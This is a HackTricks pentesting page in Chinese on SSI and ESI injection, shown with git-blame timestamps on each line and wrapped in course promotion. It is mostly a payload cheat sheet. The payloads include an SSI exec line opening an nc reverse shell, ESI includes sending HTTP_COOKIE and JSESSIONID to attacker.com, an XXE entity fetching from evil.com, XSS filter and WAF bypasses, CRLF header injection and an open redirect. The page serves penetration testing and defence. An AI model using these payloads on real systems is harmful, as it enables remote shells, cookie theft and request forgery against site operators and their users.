2023-08-03 19:12:22 +00:00
|
|
|
|
# 服务器端包含/边缘端包含注入
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
{% hint style="success" %}
|
|
|
|
|
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
|
|
|
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
<details>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
<summary>支持 HackTricks</summary>
|
2023-12-31 04:43:12 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
|
|
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
2024-07-19 10:11:43 +00:00
|
|
|
|
{% endhint %}
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-02-05 02:56:36 +00:00
|
|
|
|
## 服务器端包含基本信息
|
2021-06-07 09:30:58 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
**(介绍摘自 [Apache 文档](https://httpd.apache.org/docs/current/howto/ssi.html))**
|
2024-02-05 02:56:36 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
SSI(服务器端包含)是**放置在 HTML 页面中的指令,并在服务器上进行评估**,同时页面被提供。它们允许您**向现有 HTML 页面添加动态生成的内容**,而无需通过 CGI 程序或其他动态技术提供整个页面。\
|
|
|
|
|
例如,您可以在现有 HTML 页面中放置一个指令,如:
|
2021-06-07 09:30:58 +00:00
|
|
|
|
|
|
|
|
|
`<!--#echo var="DATE_LOCAL" -->`
|
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
当页面被提供时,这个片段将被评估并替换为其值:
|
2021-06-07 09:30:58 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
`星期二, 2013年1月15日 19:28:54 EST`
|
2021-06-07 09:30:58 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
使用 SSI 的决定,以及何时让您的页面完全由某个程序生成,通常取决于页面的静态部分有多少,以及每次页面被提供时需要重新计算多少。SSI 是添加小块信息的好方法,例如上面显示的当前时间。但如果您的页面大部分是在提供时生成的,您需要寻找其他解决方案。
|
2021-06-07 09:30:58 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
如果 Web 应用程序使用扩展名为 **`.shtml`、`.shtm` 或 `.stm`** 的文件,您可以推断出 SSI 的存在,但这并不是唯一的情况。
|
2021-06-07 09:30:58 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
一个典型的 SSI 表达式具有以下格式:
|
2021-10-18 11:21:18 +00:00
|
|
|
|
```
|
2021-06-07 09:30:58 +00:00
|
|
|
|
<!--#directive param="value" -->
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 检查
|
2022-10-03 13:43:01 +00:00
|
|
|
|
```javascript
|
|
|
|
|
// Document name
|
|
|
|
|
<!--#echo var="DOCUMENT_NAME" -->
|
|
|
|
|
// Date
|
|
|
|
|
<!--#echo var="DATE_LOCAL" -->
|
|
|
|
|
|
|
|
|
|
// File inclusion
|
|
|
|
|
<!--#include virtual="/index.html" -->
|
|
|
|
|
// Including files (same directory)
|
|
|
|
|
<!--#include file="file_to_include.html" -->
|
|
|
|
|
// CGI Program results
|
|
|
|
|
<!--#include virtual="/cgi-bin/counter.pl" -->
|
|
|
|
|
// Including virtual files (same directory)
|
|
|
|
|
<!--#include virtual="file_to_include.html" -->
|
|
|
|
|
// Modification date of a file
|
|
|
|
|
<!--#flastmod file="index.html" -->
|
|
|
|
|
|
|
|
|
|
// Command exec
|
|
|
|
|
<!--#exec cmd="dir" -->
|
|
|
|
|
// Command exec
|
|
|
|
|
<!--#exec cmd="ls" -->
|
|
|
|
|
// Reverse shell
|
|
|
|
|
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
|
|
|
|
|
|
|
|
|
|
// Print all variables
|
|
|
|
|
<!--#printenv -->
|
|
|
|
|
// Setting variables
|
|
|
|
|
<!--#set var="name" value="Rich" -->
|
2021-06-07 09:30:58 +00:00
|
|
|
|
|
|
|
|
|
```
|
2024-07-19 10:11:43 +00:00
|
|
|
|
## Edge Side Inclusion
|
2021-06-07 09:30:58 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
存在一个问题,即**缓存信息或动态应用程序**作为内容的一部分可能在下次检索内容时**有所不同**。这就是**ESI**的用途,通过使用ESI标签来指示**需要生成的动态内容**,然后再发送缓存版本。\
|
|
|
|
|
如果一个**攻击者**能够在缓存内容中**注入一个ESI标签**,那么他就能够在文档发送给用户之前**注入任意内容**。
|
2021-06-07 09:30:58 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
### ESI Detection
|
2021-06-07 09:30:58 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
以下**头部**在服务器的响应中意味着服务器正在使用ESI:
|
2021-10-18 11:21:18 +00:00
|
|
|
|
```
|
2021-06-07 09:30:58 +00:00
|
|
|
|
Surrogate-Control: content="ESI/1.0"
|
|
|
|
|
```
|
2024-07-19 10:11:43 +00:00
|
|
|
|
如果你找不到这个头,服务器**可能仍在使用 ESI**。\
|
|
|
|
|
**盲目利用的方法也可以使用**,因为请求应该到达攻击者的服务器:
|
2022-10-03 13:43:01 +00:00
|
|
|
|
```javascript
|
|
|
|
|
// Basic detection
|
2023-08-03 19:12:22 +00:00
|
|
|
|
hell<!--esi-->o
|
2023-01-04 14:57:03 +00:00
|
|
|
|
// If previous is reflected as "hello", it's vulnerable
|
|
|
|
|
|
|
|
|
|
// Blind detection
|
|
|
|
|
<esi:include src=http://attacker.com>
|
2022-10-03 13:43:01 +00:00
|
|
|
|
|
|
|
|
|
// XSS Exploitation Example
|
2023-01-04 14:57:03 +00:00
|
|
|
|
<esi:include src=http://attacker.com/XSSPAYLOAD.html>
|
2022-10-03 13:43:01 +00:00
|
|
|
|
|
|
|
|
|
// Cookie Stealer (bypass httpOnly flag)
|
2023-01-04 14:57:03 +00:00
|
|
|
|
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>
|
2022-10-03 13:43:01 +00:00
|
|
|
|
|
|
|
|
|
// Introduce private local files (Not LFI per se)
|
|
|
|
|
<esi:include src="supersecret.txt">
|
|
|
|
|
|
|
|
|
|
// Valid for Akamai, sends debug information in the response
|
|
|
|
|
<esi:debug/>
|
2021-06-07 09:30:58 +00:00
|
|
|
|
```
|
2024-07-19 10:11:43 +00:00
|
|
|
|
### ESI 利用
|
2021-06-07 09:30:58 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
[GoSecure 创建了](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) 一个表格,以了解我们可以针对不同 ESI 能力软件尝试的可能攻击,具体取决于支持的功能:
|
2022-10-03 13:43:01 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
* **Includes**: 支持 `<esi:includes>` 指令
|
|
|
|
|
* **Vars**: 支持 `<esi:vars>` 指令。用于绕过 XSS 过滤器
|
|
|
|
|
* **Cookie**: 文档 cookies 对 ESI 引擎可访问
|
|
|
|
|
* **Upstream Headers Required**: 代理应用程序不会处理 ESI 语句,除非上游应用程序提供头信息
|
|
|
|
|
* **Host Allowlist**: 在这种情况下,ESI 包含仅可能来自允许的服务器主机,使得 SSRF 例如,仅可能针对这些主机
|
2024-02-09 08:09:21 +00:00
|
|
|
|
|
|
|
|
|
| **软件** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
|
|
|
|
|
| :----------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
|
2024-07-19 10:11:43 +00:00
|
|
|
|
| Squid3 | 是 | 是 | 是 | 是 | 否 |
|
|
|
|
|
| Varnish Cache | 是 | 否 | 否 | 是 | 是 |
|
|
|
|
|
| Fastly | 是 | 否 | 否 | 否 | 是 |
|
2024-02-09 08:09:21 +00:00
|
|
|
|
| Akamai ESI 测试服务器 (ETS) | 是 | 是 | 是 | 否 | 否 |
|
2024-07-19 10:11:43 +00:00
|
|
|
|
| NodeJS esi | 是 | 是 | 是 | 否 | 否 |
|
|
|
|
|
| NodeJS nodesi | 是 | 否 | 否 | 否 | 可选 |
|
2022-10-03 13:43:01 +00:00
|
|
|
|
|
|
|
|
|
#### XSS
|
2021-06-07 09:30:58 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
以下 ESI 指令将在服务器的响应中加载任意文件
|
2024-02-06 04:10:34 +00:00
|
|
|
|
```xml
|
2021-06-07 09:30:58 +00:00
|
|
|
|
<esi:include src=http://attacker.com/xss.html>
|
|
|
|
|
```
|
2024-02-05 02:56:36 +00:00
|
|
|
|
#### 绕过客户端 XSS 保护
|
2024-02-06 04:10:34 +00:00
|
|
|
|
```xml
|
2021-06-07 09:30:58 +00:00
|
|
|
|
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
2023-01-04 14:57:03 +00:00
|
|
|
|
|
|
|
|
|
Use <!--esi--> to bypass WAFs:
|
|
|
|
|
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
|
|
|
|
|
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
|
2021-06-07 09:30:58 +00:00
|
|
|
|
```
|
2024-07-19 10:11:43 +00:00
|
|
|
|
#### 偷取 Cookie
|
2021-06-07 09:30:58 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
* 远程偷取 Cookie
|
2024-02-06 04:10:34 +00:00
|
|
|
|
```xml
|
2021-06-07 09:30:58 +00:00
|
|
|
|
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
|
|
|
|
|
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
|
|
|
|
|
```
|
2024-07-19 10:11:43 +00:00
|
|
|
|
* 通过在响应中反射来利用XSS窃取HTTP\_ONLY cookie:
|
2023-01-04 14:57:03 +00:00
|
|
|
|
```bash
|
|
|
|
|
# This will reflect the cookies in the response
|
|
|
|
|
<!--esi $(HTTP_COOKIE) -->
|
2024-02-06 04:10:34 +00:00
|
|
|
|
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
|
2023-01-04 14:57:03 +00:00
|
|
|
|
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
|
|
|
|
|
|
2024-02-06 04:10:34 +00:00
|
|
|
|
# It's possible to put more complex JS code to steal cookies or perform actions
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
#### 私有本地文件
|
2021-06-07 09:30:58 +00:00
|
|
|
|
|
2024-02-05 02:56:36 +00:00
|
|
|
|
不要将其与“本地文件包含”混淆:
|
2021-06-07 09:30:58 +00:00
|
|
|
|
```markup
|
|
|
|
|
<esi:include src="secret.txt">
|
|
|
|
|
```
|
2022-10-03 13:43:01 +00:00
|
|
|
|
#### CRLF
|
2021-06-07 09:30:58 +00:00
|
|
|
|
```markup
|
|
|
|
|
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
|
|
|
|
|
```
|
2024-07-19 10:11:43 +00:00
|
|
|
|
#### Open Redirect
|
2021-06-07 09:30:58 +00:00
|
|
|
|
|
2024-02-05 02:56:36 +00:00
|
|
|
|
以下内容将向响应添加一个 `Location` 头部
|
2023-01-04 14:57:03 +00:00
|
|
|
|
```bash
|
|
|
|
|
<!--esi $add_header('Location','http://attacker.com') -->
|
|
|
|
|
```
|
2024-07-19 10:11:43 +00:00
|
|
|
|
#### 添加头部
|
2023-01-04 14:57:03 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
* 在强制请求中添加头部
|
2024-02-06 04:10:34 +00:00
|
|
|
|
```xml
|
2022-10-15 14:18:24 +00:00
|
|
|
|
<esi:include src="http://example.com/asdasd">
|
|
|
|
|
<esi:request_header name="User-Agent" value="12345"/>
|
|
|
|
|
</esi:include>
|
|
|
|
|
```
|
2024-07-19 10:11:43 +00:00
|
|
|
|
* 在响应中添加头部(有助于绕过响应中的“Content-Type: text/json”以进行XSS)
|
2023-01-04 14:57:03 +00:00
|
|
|
|
```bash
|
|
|
|
|
<!--esi/$add_header('Content-Type','text/html')/-->
|
|
|
|
|
|
|
|
|
|
<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->
|
2024-02-05 02:56:36 +00:00
|
|
|
|
|
2024-02-06 04:10:34 +00:00
|
|
|
|
# Check the number of url_decode to know how many times you can URL encode the value
|
|
|
|
|
```
|
2024-07-19 10:11:43 +00:00
|
|
|
|
#### CRLF 在 Add header (**CVE-2019-2438**)
|
2024-02-06 04:10:34 +00:00
|
|
|
|
```xml
|
2022-10-15 14:18:24 +00:00
|
|
|
|
<esi:include src="http://example.com/asdasd">
|
|
|
|
|
<esi:request_header name="User-Agent" value="12345
|
|
|
|
|
Host: anotherhost.com"/>
|
|
|
|
|
</esi:include>
|
|
|
|
|
```
|
2024-07-19 10:11:43 +00:00
|
|
|
|
#### Akamai debug
|
2022-10-15 14:18:24 +00:00
|
|
|
|
|
2024-02-05 02:56:36 +00:00
|
|
|
|
这将发送包含在响应中的调试信息:
|
2024-02-06 04:10:34 +00:00
|
|
|
|
```xml
|
2021-06-07 09:30:58 +00:00
|
|
|
|
<esi:debug/>
|
|
|
|
|
```
|
2022-10-03 13:43:01 +00:00
|
|
|
|
### ESI + XSLT = XXE
|
2021-06-07 09:30:58 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
通过为 _dca_ 参数指定 `xslt` 值,可以包含基于 **`eXtensible Stylesheet Language Transformations (XSLT)`** 的 ESI。此包含导致 HTTP 代理检索 XML 和 XSLT 文件,后者过滤前者。这些 XML 文件可被利用进行 _XML External Entity (XXE)_ 攻击,使攻击者能够执行 SSRF 攻击。然而,这种方法的实用性有限,因为 ESI 本身已经作为 SSRF 向量。由于底层 Xalan 库不支持,外部 DTD 不会被处理,从而阻止了本地文件提取。
|
2024-02-06 04:10:34 +00:00
|
|
|
|
```xml
|
2021-06-07 09:30:58 +00:00
|
|
|
|
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
|
|
|
|
|
```
|
2024-07-19 10:11:43 +00:00
|
|
|
|
XSLT 文件:
|
2024-02-06 04:10:34 +00:00
|
|
|
|
```xml
|
2021-06-07 09:30:58 +00:00
|
|
|
|
<?xml version="1.0" encoding="ISO-8859-1"?>
|
|
|
|
|
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
|
|
|
|
|
<foo>&xxe;</foo>
|
|
|
|
|
```
|
2024-07-19 10:11:43 +00:00
|
|
|
|
检查 XSLT 页面:
|
2021-06-07 11:31:39 +00:00
|
|
|
|
|
2023-12-31 04:43:12 +00:00
|
|
|
|
{% content-ref url="xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %}
|
|
|
|
|
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
2021-10-18 11:21:18 +00:00
|
|
|
|
{% endcontent-ref %}
|
2021-06-07 11:31:39 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
### 参考文献
|
2021-06-07 09:30:58 +00:00
|
|
|
|
|
|
|
|
|
* [https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)
|
|
|
|
|
* [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)
|
2022-10-03 13:43:01 +00:00
|
|
|
|
* [https://academy.hackthebox.com/module/145/section/1304](https://academy.hackthebox.com/module/145/section/1304)
|
2023-01-04 14:57:03 +00:00
|
|
|
|
* [https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91)
|
2021-06-07 09:30:58 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
## 暴力破解检测列表
|
2021-06-27 21:56:13 +00:00
|
|
|
|
|
2021-10-18 11:21:18 +00:00
|
|
|
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
{% hint style="success" %}
|
|
|
|
|
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
|
|
|
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
<details>
|
2023-12-31 04:43:12 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
<summary>支持 HackTricks</summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
|
|
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
2024-07-19 10:11:43 +00:00
|
|
|
|
{% endhint %}
|